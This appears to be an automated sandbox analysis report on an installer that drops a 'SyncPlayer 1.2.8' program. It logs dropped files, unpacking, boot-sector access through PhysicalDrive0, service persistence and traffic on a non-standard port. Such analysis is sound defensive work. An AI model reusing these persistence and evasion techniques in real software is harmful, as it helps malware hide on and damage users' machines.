Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: OFjT8HmzFJ.exe

Static file information: File size 6401622 > 1048576

Source:	Binary string: MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdbr source: is-8817T.tmp.1.dr
Source:	Binary string: d:\gili\gili-cddvds-bitlocker\project\bin\sys\i386\SecCdEnc.pdbp source: is-VL7LS.tmp.1.dr
Source:	Binary string: d:\GS-WORK\Video Tools\Video Recorder\OUTPUT\TextDlg.pdb source: is-CMGGO.tmp.1.dr
Source:	Binary string: d:\GS-WORK\Video Tools\Video Recorder\OUTPUT\TextDlg.pdb$a source: is-CMGGO.tmp.1.dr
Source:	Binary string: msvcr90.i386.pdb source: is-LN7FL.tmp.1.dr
Source:	Binary string: )\release_bin\NvenCoderKernel.pdb source: is-ATOOC.tmp.1.dr
Source:	Binary string: E:\Work\GiliSoft\SerialKernal\output\MagicSkin.pdb source: is-AVN0V.tmp.1.dr
Source:	Binary string: )\release_bin\cudaEncoderKernel.pdb source: is-1R8O6.tmp.1.dr
Source:	Binary string: MFCM90.i386.pdb source: is-R8N4P.tmp.1.dr
Source:	Binary string: d:\gili\gili-cddvds-bitlocker\project\bin\sys\i386\SecCdDbg.pdb source: is-VL7LS.tmp.1.dr
Source:	Binary string: MFCM90.i386.pdb0 source: is-R8N4P.tmp.1.dr
Source:	Binary string: d:\GS-WORK\OEM\ScreenRecoder\bin\utlis.pdb source: is-O9SMK.tmp.1.dr
Source:	Binary string: d:\gilisoft\gili-cddvd-bitlocker\project\bin\sys\amd64\SecCdDbg.pdb source: is-VL7LS.tmp.1.dr
Source:	Binary string: mfc90u.i386.pdb source: is-M4GIC.tmp.1.dr
Source:	Binary string: mfc90.i386.pdb source: is-C25HO.tmp.1.dr
Source:	Binary string: \ServiceCtrl\ServiceCtrl\res\Service_32.pdb source: is-EDQQG.tmp.1.dr
Source:	Binary string: d:\gilisoft\gili-cddvd-bitlocker\project\bin\sys\amd64\SecCdEnc.pdb source: is-VL7LS.tmp.1.dr
Source:	Binary string: msvcp90.i386.pdb source: is-GN1VG.tmp.1.dr
Source:	Binary string: mfc90.i386.pdbpmxt source: is-C25HO.tmp.1.dr
Source:	Binary string: \OutPut\ServiceCtrl.pdb source: is-EDQQG.tmp.1.dr
Source:	Binary string: MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdb source: is-8817T.tmp.1.dr
Source:	Binary string: msvcm90.i386.pdb source: is-HL5P4.tmp.1.dr
Source:	Binary string: D:\GS-WORK\MultiMediaKernel2.3\output\IntelHW.pdb source: is-4FGVI.tmp.1.dr
Source:	Binary string: MFCM90U.i386.pdb source: is-5FDD3.tmp.1.dr
Source:	Binary string: MFCM90U.i386.pdb0 source: is-5FDD3.tmp.1.dr
Source:	Binary string: d:\GS-WORK\MultiMediaKernel\output\ApngDecoder.pdb source: is-FCOF0.tmp.1.dr
Source:	Binary string: \ServiceCtrl\ServiceCtrl\res\Service_64.pdb source: is-EDQQG.tmp.1.dr
Source:	Binary string: d:\gili\gili-cddvds-bitlocker\project\bin\sys\i386\SecCdEnc.pdb source: is-VL7LS.tmp.1.dr
Source:	Binary string: D:\GS-WORK\MultiMediaKernel2.3\output\IntelHW.pdb00 source: is-4FGVI.tmp.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Unpacked PE file: 2.2.syncplayer32_64.exe.400000.0.unpack .text:EW;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Unpacked PE file: 2.2.syncplayer32_64.exe.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_0044806C LoadLibraryExA,LoadLibraryA,GetProcAddress,

1_2_0044806C

Source: is-8AHH0.tmp.1.dr	Static PE information: section name: ve_share
Source: is-S18VE.tmp.1.dr	Static PE information: section name: /4
Source: is-76H43.tmp.1.dr	Static PE information: section name: /4
Source: is-E4LUD.tmp.1.dr	Static PE information: section name: /4
Source: is-F9AEL.tmp.1.dr	Static PE information: section name: /4
Source: is-A1FNP.tmp.1.dr	Static PE information: section name: /4
Source: is-A1FNP.tmp.1.dr	Static PE information: section name: /19
Source: is-A1FNP.tmp.1.dr	Static PE information: section name: /35
Source: is-A1FNP.tmp.1.dr	Static PE information: section name: /47
Source: is-A1FNP.tmp.1.dr	Static PE information: section name: /61
Source: is-A1FNP.tmp.1.dr	Static PE information: section name: /73
Source: is-A1FNP.tmp.1.dr	Static PE information: section name: /86
Source: is-A1FNP.tmp.1.dr	Static PE information: section name: /97
Source: is-B8KUP.tmp.1.dr	Static PE information: section name: .rodata
Source: is-B8KUP.tmp.1.dr	Static PE information: section name: /4
Source: is-EHN7D.tmp.1.dr	Static PE information: section name: .rodata
Source: is-EHN7D.tmp.1.dr	Static PE information: section name: /4
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: .rotext
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: .rodata
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: /4
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: /14
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: /29
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: /41
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: /55
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: /67
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: /80
Source: is-1RRKJ.tmp.1.dr	Static PE information: section name: /91
Source: is-6CN68.tmp.1.dr	Static PE information: section name: ve_share

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_00406518 push 00406555h; ret	0_2_0040654D
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_00408028 push ecx; mov dword ptr [esp], eax	0_2_0040802D
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_004040B5 push eax; ret	0_2_004040F1
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_00404185 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_00404206 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_0040C218 push eax; ret	0_2_0040C219
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_004042E8 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_00404283 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_00408E5C push 00408E8Fh; ret	0_2_00408E87
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004098B4 push 004098F1h; ret	1_2_004098E9
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004062CC push ecx; mov dword ptr [esp], eax	1_2_004062CD
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00456380 push 004563B8h; ret	1_2_004563B0
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004805C8 push ecx; mov dword ptr [esp], ecx	1_2_004805CD
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00410640 push ecx; mov dword ptr [esp], edx	1_2_00410645
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0040A6C8 push esp; retf	1_2_0040A6D1
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0045C6CC push ecx; mov dword ptr [esp], eax	1_2_0045C6D1
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00412898 push 004128FBh; ret	1_2_004128F3
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004309AC push ecx; mov dword ptr [esp], eax	1_2_004309B1
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0047EF74 push 0047F052h; ret	1_2_0047F04A
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00442F80 push ecx; mov dword ptr [esp], ecx	1_2_00442F84
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0040CF98 push ecx; mov dword ptr [esp], edx	1_2_0040CF9A
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00451024 push 00451057h; ret	1_2_0045104F
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0040546D push eax; ret	1_2_004054A9
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0040F4F8 push ecx; mov dword ptr [esp], edx	1_2_0040F4FA
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0040553D push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004055BE push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0040563B push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004056A0 push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00473828 push ecx; mov dword ptr [esp], edx	1_2_00473829
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00457BEC push 00457C30h; ret	1_2_00457C28
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00419B98 push ecx; mov dword ptr [esp], ecx	1_2_00419B9D

Source: is-LN7FL.tmp.1.dr

Static PE information: section name: .text entropy: 6.92063892456726

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		2_2_00401A4F
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		2_2_02B4F8A3

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfcm90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\RecWin7.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-A1FNP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-76H43.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avutil-52.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-R8N4P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\cudaEncoderKernel.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-N0A7K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\VE64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-ATOOC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-LN7FL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\xvidcore.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\swscale-2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-VL7LS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-E4LUD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-C25HO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-DLH94.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.Windows.Common-Controls\is-8817T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\postproc-51.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ScreenHook.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avdevice-55.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\IntelHW.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-CBP2N.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\CamCapture.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-EDQQG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-6CN68.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\utlis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\postproc-52.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\swresample-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-B8KUP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-P4C7K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	File created: C:\ProgramData\EC SyncPlayer 11.4.45\EC SyncPlayer 11.4.45.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-GN1VG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\TextDlg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-8AHH0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-AVN0V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ApngDecoder.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-CMGGO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\InstallHelp.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-1RRKJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\NvenCoderKernel.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Verify.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfcm90u.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-4FGVI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\pthreadGC2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-GC27D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-1R8O6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-UOUU3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\WaveRec.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\VE32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.Windows.Common-Controls\comctl32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	File created: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\MagicSkin.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-F9AEL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\AudioResample.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ServiceCtrl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-O9SMK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfc90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\pthreadVC2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-6UNEV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-JJ68A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ISTask.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-EHN7D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcr90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-5FDD3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcp90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-HL5P4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-S18VE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-FCOF0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-T16J5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-RFD24.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfc90u.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcm90.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-M4GIC.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

File created: C:\ProgramData\EC SyncPlayer 11.4.45\EC SyncPlayer 11.4.45.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		2_2_00401A4F
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		2_2_02B4F8A3

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: 2_2_00402774 StartServiceCtrlDispatcherA,

2_2_00402774

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 49915
